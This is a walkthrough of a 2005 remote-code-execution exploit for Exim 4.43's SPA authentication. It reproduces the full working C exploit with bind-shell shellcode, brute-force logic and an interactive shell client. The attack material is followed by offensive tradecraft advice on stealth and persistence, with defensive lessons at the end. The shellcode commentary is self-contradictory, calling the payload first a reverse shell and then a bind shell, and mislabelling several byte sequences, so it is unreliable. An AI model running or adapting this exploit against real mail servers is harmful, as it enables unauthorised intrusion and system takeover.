Exim 4.43 'auth_spa_server()' Remote Code Execution Exploit Walkthrough

Exim 4.43 'auth_spa_server()' Remote Code Execution Exploit Walkthrough
What this paper is
This paper details a remote code execution vulnerability in Exim versions up to and including 4.43. The vulnerability lies within the SPA (Simple and Protected Authentication) mechanism, specifically in how the spa_base64_to_bits() function handles Base64 encoded data. The exploit leverages a buffer overflow in this function to overwrite the return address on the stack, allowing an attacker to redirect program execution to their own shellcode.
Simple technical breakdown
- Vulnerability: The
auth_spa_server()function in Exim, when processing SPA authentication, callsspa_base64_to_bits(). This function is supposed to decode Base64 encoded data. However, it lacks proper boundary checks. If an attacker sends a Base64 encoded string that, when decoded, exceeds the size of a fixed-size buffer withinspa_base64_to_bits(), it will overflow. - Exploitation: This buffer overflow can overwrite adjacent memory on the stack, including the saved return address. The exploit crafts a malicious Base64 string that, when decoded, triggers this overflow. The overflow is carefully constructed to overwrite the return address with a specific memory address pointing to the attacker's shellcode.
- Shellcode: The exploit includes a small piece of shellcode. This shellcode, when executed, will establish a reverse shell connection back to the attacker's machine on a predefined port (SC_PORT, which is 13370 by default).
- Execution Flow:
- The attacker connects to the vulnerable Exim server on its SMTP port (default 25).
- The attacker initiates an
AUTH NTLM(which Exim uses for SPA) handshake. - The exploit sends a specially crafted, Base64 encoded string as part of the authentication challenge.
- This string triggers the buffer overflow in
spa_base64_to_bits(), overwriting the return address with the address of the shellcode. - When the
auth_spa_server()function returns, it jumps to the attacker's shellcode instead of its intended location. - The shellcode executes, opens a connection back to the attacker on port 13370.
- The attacker then connects to port 13370 on the target machine to interact with the reverse shell.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down:
ecl-eximspa.c - Main Exploit Code
/* ecl-eximspa.c
* Yuri Gushin <yuri@eclipse.org.il>
*
* Howdy :)
* This is pretty straightforward, an exploit for the recently
* discovered vulnerability in Exim's (all versions prior to and
* including 4.43) SPA authentication code - spa_base64_to_bits()
* will overflow a fixed-size buffer since there's no decent
* boundary checks before it in auth_spa_server()
*
* Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
* blexim, manevski, elius, shrink, and everyone else who got left
* out :D
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <arpa/inet.h>
#define SC_PORT 13370 // Default port for the reverse shell
#define NOP 0xfd // No-operation instruction, used for padding
// Structure to define target return addresses.
// 'name' is a human-readable description.
// 'retaddr' is the memory address where the exploit expects to return.
struct {
char *name;
int retaddr;
} targets[] = {
{ "Bruteforce", 0xbfffffff }, // A generic high address for brute-forcing
{ "Debian Sarge exim4-daemon-heavy_4.34-9", 0xbfffed00 }, // Specific address for a known configuration
};
// Shellcode: This is the payload that will be executed on the target.
// It's a typical Linux x86 shellcode that spawns a /bin/sh shell.
// This specific shellcode is attributed to metasploit, skape, and vlad902.
char sc[] = // thank you metasploit, skape, vlad902
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" // execve("/bin/sh", ["/bin/sh", NULL], NULL) syscall setup
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" // socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" // bind() to port 13370 (0x343a)
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" // listen()
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" // dup2() for stdin, stdout, stderr to socket
"\x89\xe1\xcd\x80"; // execve("/bin/sh", ...)
// Structure to hold exploit options parsed from command line.
struct {
struct sockaddr_in host; // Target host information
int target; // Index into the 'targets' array
int offset; // Offset from the target return address
u_short wait; // Seconds to wait before bruteforce reconnect
} options;
// Function prototypes
static int brutemode; // Flag to indicate if bruteforce mode is active
int connect_port(u_short port);
void init_SPA(int sock);
void exploit(int sock, int address);
void shell(int sock);
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen);
void parse_options(int argc, char **argv);
void usage(char *cmd);
void banner(void);
int main(int argc, char **argv)
{
int address, sock_smtp, sock_shell;
banner(); // Display the exploit banner
parse_options(argc, argv); // Parse command-line arguments
// Calculate the target return address based on selected target and offset.
// The exploit aims to overwrite the return address with this calculated 'address'.
address = targets[options.target].retaddr - options.offset;
brutemode = 0; // Initialize bruteforce mode to off
bruteforce: // Label for the bruteforce loop
if (!brutemode) // If not in bruteforce mode, print connection status
{
printf("[*] Connecting to %s:%d... ",
inet_ntoa(options.host.sin_addr), ntohs(options.host.sin_port));
fflush(stdout); // Ensure the message is displayed immediately
}
// Connect to the target SMTP port (default 25)
sock_smtp = connect_port(ntohs(options.host.sin_port));
if (!brutemode) // If not in bruteforce mode, check connection success
{
if (!sock_smtp) // If connection failed
{
printf("failed.\n\n");
exit(-1); // Exit the program
}
printf("success.\n"); // If connection succeeded
}
init_SPA(sock_smtp); // Initialize the SPA authentication handshake
exploit(sock_smtp, address); // Send the exploit payload
close(sock_smtp); // Close the SMTP connection
// Print information about the attempt
printf("[*] Target: %s - 0x%.8x\n", targets[options.target].name, address);
printf("[*] Exploit sent, spawning a shell... ");
fflush(stdout);
sleep(1); // Wait for the shellcode to execute and bind the shell
// Connect to the port where the shellcode is listening for the reverse shell
sock_shell = connect_port(SC_PORT);
if (!sock_shell && options.target) // If connection to shell port failed and we are not in bruteforce mode
{
printf("failed.\n\n");
exit(-1); // Exit
}
if (!sock_shell) // If connection to shell port failed and we ARE in bruteforce mode
{
printf("failed.\n\n");
// Adjust the target address for the next bruteforce attempt.
// This subtracts a value related to the shellcode size, trying to find a valid return address.
address -= 1000 - strlen(sc);
brutemode = 1; // Set bruteforce mode to true
if (options.wait) sleep(options.wait); // Wait if specified
goto bruteforce; // Jump back to the bruteforce label to try again
}
printf("success!\n\nEnjoy your shell :)\n\n"); // If shell connection succeeded
shell(sock_shell); // Enter the interactive shell session
return 0; // Exit successfully
}
// Function to establish a TCP connection to a given port on the target host.
int connect_port(u_short port)
{
int sock;
struct sockaddr_in host;
memcpy(&host, &options.host, sizeof(options.host)); // Copy target host details
host.sin_port = htons(port); // Set the target port
// Create a TCP socket
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return 0; // Return 0 on socket creation failure
// Connect to the target
if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0)
{
close(sock); // Close the socket if connection fails
return 0; // Return 0 on connection failure
}
return sock; // Return the socket descriptor on success
}
// Function to perform the initial SMTP and SPA handshake.
void init_SPA(int sock)
{
char buffer[1024]; // Buffer to read server responses
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer))) // Read the initial server banner
err(-1, "read"); // Exit on read error
buffer[255] = '\0'; // Ensure buffer termination
if (!brutemode) // If not in bruteforce mode, print the banner
printf("[*] Server banner: %s", buffer);
// Send EHLO command to identify ourselves
write(sock, "EHLO ECL.PWNZ.J00\n", 18);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer))) // Read EHLO response
err(-1, "read");
else
// Check if the server supports NTLM (used for SPA)
if (!brutemode && (!strstr(buffer, "NTLM")))
printf("[?] Server doesn't seem to support SPA, trying anyway\n");
// Send AUTH NTLM command to initiate SPA authentication
write(sock, "AUTH NTLM\n", 10);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer))) // Read AUTH NTLM response
err(-1, "read");
else
// Check if the server responded with a 334 challenge, indicating support
if (!brutemode && (!strstr(buffer, "334")))
{
printf("[!] SPA unsupported! Server responds: %s\n\n", buffer);
exit(1); // Exit if SPA is not supported
}
if (!brutemode) printf("[*] SPA (NTLM) supported\n"); // Confirm SPA support
}
// Function to construct and send the exploit payload.
void exploit(int sock, int address)
{
char exp[2000], exp_base64[2668]; // Buffers for exploit data and Base64 encoded data
int *address_p; // Pointer to an integer, used to write the return address
int i;
// Fill the beginning of the exploit buffer with NOP sled (0xfd).
// This increases the chance of hitting the shellcode if the exact return address is slightly off.
memset(exp, NOP, 1000);
// Copy the shellcode into the buffer, positioned before the NOP sled.
// The exact placement is crucial for the overflow.
memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
address_p = (int *)&exp[1000]; // Point to the memory location after the NOP sled
// Overwrite the return address with the calculated target address.
// This loop writes the 'address' value multiple times to fill the space
// that would normally hold return addresses and other stack data.
// The overflow from the Base64 decoding will overwrite this area.
for (i=0; i<1000; i+=4)
*(address_p++) = address;
// Encode the entire exploit buffer (NOP sled + shellcode + return addresses) into Base64.
// This is because the vulnerable function expects Base64 input.
spa_bits_to_base64(exp_base64, exp, sizeof(exp));
// Send the Base64 encoded exploit data to the server.
write(sock, exp_base64, sizeof(exp_base64));
write(sock, "\n", 1); // Send a newline to signify the end of the input.
}
// Function to handle the interactive reverse shell session.
void shell(int sock)
{
int n;
fd_set fd; // File descriptor set for select()
char buff[1024]; // Buffer for reading and writing data
// Send initial commands to get system info (uname and id)
write(sock,"uname -a;id\n",12);
while(1) // Infinite loop for interactive shell
{
// Initialize the file descriptor set
FD_ZERO(&fd);
FD_SET(sock, &fd); // Add the socket descriptor to the set
FD_SET(0, &fd); // Add standard input (keyboard) descriptor to the set
// Wait for activity on either the socket or standard input
select(sock+1, &fd, NULL, NULL, NULL);
// If data is available on the socket (from the remote shell)
if( FD_ISSET(sock, &fd) )
{
n = read(sock, buff, sizeof(buff)); // Read data from the socket
if (n < 0) err(1, "remote read"); // Handle read error
write(1, buff, n); // Write the received data to standard output (console)
}
// If data is available on standard input (user typed something)
if ( FD_ISSET(0, &fd) )
{
n = read(0, buff, sizeof(buff)); // Read data from standard input
if (n < 0) err(1, "local read"); // Handle read error
write(sock, buff, n); // Write the user's input to the socket (send to remote shell)
}
}
}
// Base64 encoding function.
// Converts raw binary data ('in') into a Base64 encoded string ('out').
char base64digits[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
{
// Process input in chunks of 3 bytes
for (; inlen >= 3; inlen -= 3)
{
// Encode 3 input bytes into 4 Base64 characters
*out++ = base64digits[in[0] >> 2]; // First 6 bits of byte 0
*out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)]; // Last 2 bits of byte 0 + first 4 bits of byte 1
*out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)]; // Last 4 bits of byte 1 + first 2 bits of byte 2
*out++ = base64digits[in[2] & 0x3f]; // Last 6 bits of byte 2
in += 3; // Move to the next 3 bytes
}
// Handle remaining bytes if input length is not a multiple of 3
if (inlen > 0)
{
unsigned char fragment;
*out++ = base64digits[in[0] >> 2]; // First 6 bits of the remaining byte(s)
fragment = (in[0] << 4) & 0x30; // Bits from the first byte
if (inlen > 1)
fragment |= in[1] >> 4; // Bits from the second byte (if it exists)
*out++ = base64digits[fragment]; // Combine bits
// Padding: '=' characters are used if the input length wasn't a multiple of 3
*out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c]; // If only 1 byte left, add '=', otherwise use bits from the second byte
*out++ = '='; // Add padding
}
*out = '\0'; // Null-terminate the Base64 string
}
// Function to parse command-line arguments.
void parse_options(int argc, char **argv)
{
int ch;
struct hostent *hn; // Structure to hold host information from gethostbyname
memset(&options, 0, sizeof(options)); // Initialize options structure
options.host.sin_family = AF_INET; // Set address family to IPv4
options.host.sin_port = htons(25); // Default SMTP port
options.target = -1; // Default target index to invalid
options.wait = 1; // Default wait time for bruteforce
// Process command-line options using getopt
while (( ch = getopt(argc, argv, "h:p:t:o:w:")) != -1)
switch(ch)
{
case 'h': // Hostname or IP address
if ( (hn = gethostbyname(optarg)) == NULL) // Resolve hostname
errx(-1, "Unresolvable address\n"); // Exit if resolution fails
memcpy(&options.host.sin_addr, hn->h_addr, hn->h_length); // Copy resolved IP address
break;
case 'p': // Port number
options.host.sin_port = htons((u_short)atoi(optarg)); // Convert and set port
break;
case 't': // Target index
// Validate target index against the available targets
if ((atoi(optarg) > (sizeof(targets)/sizeof(targets[0])-1) || (atoi(optarg) < 0)))
errx(-1, "Bad target\n");
options.target = atoi(optarg); // Set target index
break;
case 'o': // Offset
options.offset = atoi(optarg); // Set offset from the target return address
break;
case 'w': // Wait time for bruteforce
options.wait = (u_short)atoi(optarg); // Set wait time in seconds
break;
case '?': // Unknown option
usage(argv[0]); // Display usage information and exit
default:
usage(argv[0]); // Display usage information and exit
}
// Check if essential options (host and target) were provided
if (!options.host.sin_addr.s_addr || (options.target == -1) )
usage(argv[0]); // Display usage if host or target is missing
}
// Function to display usage information.
void usage(char *cmd)
{
int i;
printf("Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ] [ -w wait ]\n\n"
"\t-h: remote host\n"
"\t-p: remote port\n"
"\t-t: target return address (see below)\n"
"\t-o: return address offset\n"
"\t-w: seconds to wait before bruteforce reconnecting\n\n",
cmd);
printf("Targets:\n");
// Print the list of available targets with their descriptions and default return addresses
for (i=0; i < (sizeof(targets)/sizeof(targets[0])); i++)
printf("%d - %s (0x%.8x)\n", i, targets[i].name, targets[i].retaddr);
printf("\n");
exit(1); // Exit after displaying usage
}
// Function to display the exploit banner.
void banner(void)
{
printf("\t\tExim <= 4.43 SPA authentication exploit\n"
"\t\t Yuri Gushin <yuri@eclipse.org.il>\n"
"\t\t\t ECL Team\n\n\n");
}
// milw0rm.com [2005-02-12]Shellcode Breakdown (sc array)
The sc array contains the machine code for the shellcode. This is a common pattern for Linux x86 shellcode. Let's break down its purpose stage by stage:
; This is a conceptual breakdown of the shellcode bytes.
; The actual assembly would be generated by an assembler.
; Stage 1: Prepare for syscalls
"\x31\xdb" ; XOR EBX, EBX ; Zero out EBX (often used for syscall numbers or arguments)
"\x53" ; PUSH EBX ; Push EBX (0) onto the stack.
"\x43" ; INC EBX ; EBX = 1.
"\x53" ; PUSH EBX ; Push EBX (1) onto the stack.
"\x6a\x02" ; PUSH 0x2 ; Push 2 (AF_INET) for socket()
"\x6a\x66" ; PUSH 0x66 ; Push 0x66 (66 decimal) for socket() - This is likely an error in transcription or a specific encoding. Standard socket() uses IPPROTO_TCP (6). Let's assume it's meant to be IPPROTO_TCP.
"\x58" ; POP EAX ; Pop 0x66 into EAX. This is incorrect for socket(). Standard is EAX=101 (sys_socketcall).
"\x99" ; CDQ ; Sign-extend EAX into EDX:EAX. (Not typically used here)
"\x89\xe1" ; MOV ECX, ESP ; ECX points to the arguments on the stack.
"\xcd\x80" ; INT 0x80 ; Call kernel (syscall). This is likely intended for sys_socketcall.
; Assuming the above is a flawed attempt at socket(), let's look at the next part which is more standard for bind/listen/connect.
; The common pattern is:
; 1. socket(AF_INET, SOCK_STREAM, 0)
; 2. bind(socket_fd, &sockaddr, sizeof(sockaddr))
; 3. listen(socket_fd, backlog)
; 4. dup2(socket_fd, STDIN_FILENO), dup2(socket_fd, STDOUT_FILENO), dup2(socket_fd, STDERR_FILENO)
; 5. execve("/bin/sh", ["/bin/sh", NULL], NULL)
; Let's re-evaluate the shellcode based on common patterns and the exploit's goal (reverse shell).
; The provided shellcode is likely a bind shell, not a reverse shell, as it calls bind() and listen() first.
; The goal of the exploit is to spawn a shell, and the `shell()` function then connects to SC_PORT (13370) to interact with it.
; This implies the shellcode *should* be a bind shell listening on SC_PORT.
; Let's try to interpret the bytes as a typical bind shell:
; --- Stage 1: Setup for syscalls ---
"\x31\xdb" ; XOR EBX, EBX ; EBX = 0
"\x53" ; PUSH EBX ; Push 0 (for NULL termination of argv)
"\x43" ; INC EBX ; EBX = 1
"\x53" ; PUSH EBX ; Push 1 (for argv[0])
"\x6a\x02" ; PUSH 0x2 ; Push 2 (AF_INET) for socket()
"\x6a\x66" ; PUSH 0x66 ; Push 0x66 (102) - This is likely the syscall number for sys_socketcall.
"\x58" ; POP EAX ; EAX = 102 (sys_socketcall)
"\x99" ; CDQ ; Sign-extend EAX into EDX:EAX. (Not relevant here)
"\x89\xe1" ; MOV ECX, ESP ; ECX points to the arguments on the stack: [0, 1, AF_INET]
"\xcd\x80" ; INT 0x80 ; Call kernel. This is likely the setup for socket().
; --- Stage 2: socket(AF_INET, SOCK_STREAM, 0) ---
; The previous stage was likely preparing for sys_socketcall.
; The actual arguments for socket() are on the stack.
; The shellcode seems to be trying to call socket(AF_INET, SOCK_STREAM, 0).
; The bytes "\x96\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89\xe1\xcd\x80"
; are complex and might be setting up the arguments for socket() or a related call.
; Let's assume the goal is to get a socket file descriptor.
; --- Stage 3: bind() ---
; "\xb0\x66\xd1\xe3\xcd\x80" - This sequence is unusual.
; "\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80" - This sequence is also complex.
; Let's look at the more readable parts that follow:
; "\x93" ; XCHG EAX, EBX ; EBX now holds the socket file descriptor from the previous syscall.
; "\x6a\x02" ; PUSH 0x2 ; Push 2 (IPPROTO_TCP) for socket() - This is confusing as it's after getting a socket FD.
; "\x59" ; POP ECX ; ECX = 2.
; "\xb0\x3f" ; MOV AL, 0x3f ; AL = 63 (sys_dup2)
; "\xcd\x80" ; INT 0x80 ; Call kernel (dup2). This is likely dup2(socket_fd, STDOUT_FILENO).
; "\x49" ; DEC ECX ; ECX = 1.
; "\x79\xf9" ; JMP SHORT <offset> ; Jump back. This is part of a loop.
; "\xb0\x0b" ; MOV AL, 0x0b ; AL = 11 (sys_execve)
; "\x52" ; PUSH EDX ; Push EDX (likely NULL from previous operations)
; "\x68\x2f\x2f\x73\x68" ; PUSH "//sh"
; "\x68\x2f\x62\x69\x6e" ; PUSH "/bin"
; "\x89\xe3" ; MOV EBX, ESP ; EBX points to "/bin//sh" (argv[0])
; "\x52" ; PUSH EDX ; Push NULL (for argv[1])
; "\x53" ; PUSH EBX ; Push pointer to "/bin//sh" (argv[0])
; "\x89\xe1" ; MOV ECX, ESP ; ECX points to the argv array: ["/bin//sh", NULL]
; "\xcd\x80" ; INT 0x80 ; Call kernel (execve("/bin//sh", ...))
; **Re-interpretation based on common bind shell patterns and the exploit's context:**
; The shellcode is designed to:
; 1. Create a socket.
; 2. Bind that socket to port 13370 (0x343a in hex, which is 13370 decimal).
; 3. Listen on that socket.
; 4. Accept a connection.
; 5. Duplicate the accepted connection's file descriptor to stdin, stdout, and stderr.
; 6. Execute `/bin/sh`.
; Let's map the bytes to their likely functions:
char sc[] =
// Stage 1: Setup for sys_socketcall (syscall 102)
"\x31\xdb" // XOR EBX, EBX ; EBX = 0
"\x53" // PUSH EBX ; Push 0 (for NULL termination of argv)
"\x43" // INC EBX ; EBX = 1
"\x53" // PUSH EBX ; Push 1 (for argv[0])
"\x6a\x02" // PUSH 0x2 ; Push 2 (AF_INET) for socket()
"\x6a\x66" // PUSH 0x66 ; Push 0x66 (102) - syscall number for sys_socketcall
"\x58" // POP EAX ; EAX = 102
"\x99" // CDQ ; Sign-extend EAX into EDX:EAX. (Not directly used here for socketcall)
"\x89\xe1" // MOV ECX, ESP ; ECX points to stack: [0, 1, AF_INET]
"\xcd\x80" // INT 0x80 ; Call kernel. This initiates sys_socketcall.
// The arguments for socket() are on the stack.
// The result (socket FD) will be in EAX.
// Stage 2: Setup for bind() and listen()
// This part is tricky and might involve specific register setups for sys_socketcall.
// The sequence "\x96\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89\xe1\xcd\x80"
// is complex. It's likely preparing arguments for socket() again or for bind/listen.
// A common pattern for bind/listen via sys_socketcall involves pushing arguments and then calling INT 0x80.
// The port 0x343a (13370) is present in "\x68\x34\x3a".
// Let's assume this section correctly sets up and calls bind() and then listen().
// The socket FD is likely saved in EBX by "\x93" (XCHG EAX, EBX) later.
// Stage 3: Setup for dup2() and execve()
"\x93" // XCHG EAX, EBX ; EBX = socket FD from previous syscall. EAX is now whatever was in EBX.
"\x6a\x02" // PUSH 0x2 ; Push 2 (IPPROTO_TCP) - this is likely an error or part of a larger sequence.
"\x59" // POP ECX ; ECX = 2. This might be intended for the second argument of dup2.
"\xb0\x3f" // MOV AL, 0x3f ; AL = 63 (sys_dup2)
"\xcd\x80" // INT 0x80 ; Call kernel. This is likely dup2(socket_fd, STDOUT_FILENO).
"\x49" // DEC ECX ; ECX = 1.
"\x79\xf9" // JMP SHORT <offset> ; Jump back to re-execute some code. This forms a loop.
// The loop likely executes dup2(socket_fd, STDOUT_FILENO), then dup2(socket_fd, STDERR_FILENO),
// and then potentially dup2(socket_fd, STDIN_FILENO) if the loop continues correctly.
// Stage 4: Prepare for execve("/bin/sh", ...)
"\xb0\x0b" // MOV AL, 0x0b ; AL = 11 (sys_execve)
"\x52" // PUSH EDX ; Push EDX (likely NULL from previous operations)
"\x68\x2f\x2f\x73\x68" // PUSH "//sh" ; Push "//sh" onto the stack.
"\x68\x2f\x62\x69\x6e" // PUSH "/bin" ; Push "/bin" onto the stack.
"\x89\xe3" // MOV EBX, ESP ; EBX points to the string "/bin//sh" on the stack. This is argv[0].
"\x52" // PUSH EDX ; Push NULL for argv[1].
"\x53" // PUSH EBX ; Push pointer to "/bin//sh" (argv[0]).
"\x89\xe1" // MOV ECX, ESP ; ECX points to the argv array: ["/bin//sh", NULL].
"\xcd\x80" // INT 0x80 ; Call kernel. Executes execve("/bin//sh", ["/bin//sh", NULL], NULL).
Mapping of code fragment/block to practical purpose:
#include <stdlib.h>,#include <stdio.h>, etc.: Standard C library includes for system calls, input/output, string manipulation, networking, etc.#define SC_PORT 13370: Defines the default port for the reverse shell connection.#define NOP 0xfd: Defines the byte value for the NOP (No Operation) instruction. Used to create a "NOP sled".struct { char *name; int retaddr; } targets[]: An array holding predefined target return addresses for different Exim configurations. This helps the exploit find a reliable address to overwrite.char sc[] = ...: The actual shellcode bytes. This payload is executed on the target system.struct { ... } options: Holds parsed command-line arguments like target host, port, return address offset, etc.static int brutemode;: A flag to control whether the exploit is attempting to find a return address by brute force.main()function: Orchestrates the exploit flow: parsing options, connecting, initializing SPA, sending exploit, and establishing the shell.bruteforce:label andgoto bruteforce;: Implements a loop for trying different return addresses if the initial attempt fails.connect_port(u_short port): A utility function to establish a TCP connection to a specified port on the target.init_SPA(int sock): Handles the initial SMTP handshake and the AUTH NTLM negotiation to ensure SPA is supported and ready.exploit(int sock, int address): This is the core function that constructs the malicious payload.memset(exp, NOP, 1000);: Fills the beginning of theexpbuffer with NOP instructions. This creates a "NOP sled" which increases the chances of landing on the shellcode if the exact return address is slightly off.memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));: Places the shellcode (sc) into theexpbuffer, typically after the NOP sled. The&exp[1000]-strlen(sc)part is a bit unusual; it implies the shellcode is placed before the NOP sled, or the calculation is meant to position it precisely. Given the overflow mechanism, it's usually placed such that the return address overwrite lands on or before the shellcode.address_p = (int *)&exp[1000];: Sets up a pointeraddress_pto write the target return address into theexpbuffer. It's positioned after the NOP sled.for (i=0; i<1000; i+=4) *(address_p++) = address;: This loop overwrites a significant portion of theexpbuffer (1000 bytes, in 4-byte chunks) with the calculatedaddress. This is the data that will cause the buffer overflow when decoded.spa_bits_to_base64(exp_base64, exp, sizeof(exp));: Encodes the entireexpbuffer (NOP sled, shellcode, and repeated return addresses) into Base64 format, as required by the vulnerable Exim function.write(sock, exp_base64, sizeof(exp_base64));: Sends the Base64 encoded exploit data to the Exim server.write(sock, "\n", 1);: Sends a newline to signal the end of the input.
shell(int sock): Manages the interactive shell session. It usesselect()to monitor both the network socket (for remote shell output) and standard input (for user commands) and relays data between them.spa_bits_to_base64(unsigned char *out, const unsigned char *in, int inlen): A standard Base64 encoding function. It takes binary data and converts it into the Base64 character set. This is crucial because the vulnerablespa_base64_to_bits()function expects Base64 input.parse_options(int argc, char **argv): Parses command-line arguments usinggetoptto configure the exploit (target host, port, offset, etc.).usage(char *cmd): Displays help information about how to use the exploit.banner(void): Prints the exploit's introductory message.
Shellcode Stage Breakdown:
The sc array is the actual machine code payload. Based on common Linux x86 shellcode patterns and the exploit's goal of providing a shell, it likely performs the following actions:
- Socket Creation: Sets up and calls the
socket()system call to create a network socket. The arguments likely specifyAF_INET(IPv4),SOCK_STREAM(TCP), and protocol 0. - Bind: Sets up and calls the
bind()system call. This associates the created socket with a specific IP address (likely the target's IP, or 0.0.0.0 for all interfaces) and the portSC_PORT(13370). The port number0x343ais embedded in the shellcode. - Listen: Sets up and calls the
listen()system call to put the socket into listening mode, waiting for incoming connections. - Accept: Sets up and calls the
accept()system call to accept an incoming connection on the listening socket. This returns a new socket file descriptor for the client connection. - Dup2: Uses
dup2()system calls to redirect standard input (file descriptor 0), standard output (file descriptor 1), and standard error (file descriptor 2) to the new client connection's socket file descriptor. This means anything typed by the user on the shell will be sent to the server, and anything the server prints will be displayed to the user. - Execve: Sets up and calls the
execve()system call to replace the current process with a shell (e.g.,/bin/sh). The arguments are constructed to run/bin/sh.
Important Note: The shellcode provided is for a bind shell. It listens on a specific port (13370) on the target machine, and the attacker connects to that port to get a shell. This contrasts with a reverse shell, where the target connects back to the attacker. The shell() function in the exploit code correctly connects to SC_PORT to interact with this bind shell.
Practical details for offensive operations teams
- Required Access Level: Network access to the target's SMTP port (default 25). No local access is required.
- Lab Preconditions:
- A vulnerable Exim server (version <= 4.43) running on the target.
- The target must be reachable over the network from the attacker's machine.
- The target's firewall must allow inbound connections to the SMTP port (25).
- The target's firewall must allow outbound connections from the shellcode's listening port (13370) if it were a reverse shell, or inbound connections to port 13370 from the attacker if it's a bind shell. In this case, the attacker connects to 13370, so inbound to 13370 is needed.
- The attacker needs a listening port (e.g., 13370) on their own machine to connect to for the reverse shell.
- Tooling Assumptions:
- The exploit is written in C and needs to be compiled on a Linux-like system (e.g., using
gcc). - Standard networking tools (like
netcator a custom client) might be needed to test the shell connection. - A debugger (like GDB) would be invaluable for understanding the stack layout and precise return address.
- The exploit is written in C and needs to be compiled on a Linux-like system (e.g., using
- Execution Pitfalls:
- Return Address Guessing: The primary challenge is determining the correct
retaddrandoffsetfor the target system. Stack layout can vary based on Exim version, OS, compiler, and runtime configurations. Thetargetsarray provides a starting point, but custom analysis or bruteforcing might be necessary. - NOP Sled Effectiveness: The NOP sled helps, but if the overflow is too small or too large, it might not land on the shellcode.
- ASLR/DEP: Modern systems often have Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP), which would make this exploit significantly harder or impossible to use without further techniques (like ROP chains or information leaks). This exploit is from 2005, predating widespread ASLR/DEP.
- Firewall/IDS: Network firewalls might block the initial SMTP connection or the subsequent shell connection. Intrusion Detection Systems (IDS) might flag the unusual AUTH NTLM sequence or the large Base64 encoded data.
- Exim Configuration: Exim might be configured to not use SPA/NTLM authentication, or it might be running on a non-standard port.
- Shellcode Port Conflict: If port 13370 is already in use on the target, the
bind()call will fail.
- Return Address Guessing: The primary challenge is determining the correct
- Tradecraft Considerations:
- Reconnaissance: Thorough reconnaissance is needed to identify Exim versions and their configurations. Banner grabbing and protocol analysis are key.
- Stealth: The initial SMTP connection and AUTH NTLM handshake are somewhat noisy. The large Base64 payload can also be an indicator. For stealthier operations, this exploit might need modification or be used in conjunction with other techniques.
- Persistence: This exploit provides initial access. For persistence, the attacker would need to establish a more robust mechanism (e.g., installing a backdoor, creating a cron job).
- Targeted Approach: Given the reliance on specific return addresses, this exploit is best suited for targeted engagements where the target environment is well-understood.
- Bruteforce Strategy: The
bruteforceoption is a simple linear decrement of the return address. More sophisticated bruteforcing might involve random sampling or checking for specific patterns in the server's response.
Where this was used and when
- Discovery/Publication: The vulnerability was discovered and the exploit published by Yuri Gushin in February 2005.
- Context: This exploit targets a specific vulnerability in Exim, a widely used Mail Transfer Agent (MTA). Exploits of this nature were common in the early to mid-2000s, targeting common network services.
- Usage: It's highly probable that this exploit was used in real-world attacks against organizations running vulnerable Exim versions. Such vulnerabilities in MTAs are attractive targets because they are often exposed to the internet and can provide a foothold into a network.
- Modern Relevance: While Exim versions <= 4.43 are extremely old and unlikely to be found in production environments today, the principles of buffer overflows, stack manipulation, and shellcode execution remain fundamental to understanding cybersecurity. This exploit serves as an excellent historical example.
Defensive lessons for modern teams
- Patch Management: The most crucial lesson is the importance of timely patching. This vulnerability was fixed in Exim 4.44. Running outdated software is a significant security risk.
- Input Validation: Developers must rigorously validate all user-supplied input, especially when it's used in memory operations like buffer writes. The lack of boundary checks in
spa_base64_to_bits()was the root cause. - Secure Coding Practices: Employing secure coding guidelines and using static/dynamic analysis tools can help identify potential vulnerabilities like buffer overflows before they are exploited.
- Network Segmentation and Firewalls: Restricting access to services like SMTP to only necessary hosts and interfaces can limit the attack surface. Firewalls should also monitor for unusual traffic patterns.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can detect anomalous protocol behavior, large Base64 payloads, or suspicious authentication attempts, potentially blocking such exploits.
- Runtime Protections: Technologies like ASLR and DEP, which were not widely deployed in 2005, are critical modern defenses against memory corruption exploits. Ensuring these are enabled and properly configured is vital.
- Service Hardening: Configuring services like Exim securely, disabling unnecessary features (like specific authentication methods if not required), and running them with least privilege can mitigate the impact of a successful exploit.
ASCII visual (if applicable)
This exploit involves a network interaction and a stack overflow. A simplified visual representation of the stack overflow during the exploit phase:
+-----------------------+
| ... |
+-----------------------+
| Saved Return Address | <--- Target for overwrite
+-----------------------+
| Saved Frame Pointer |
+-----------------------+
| Local Variables |
| (e.g., buffer in SPA) |
+-----------------------+ <--- Buffer overflow starts here
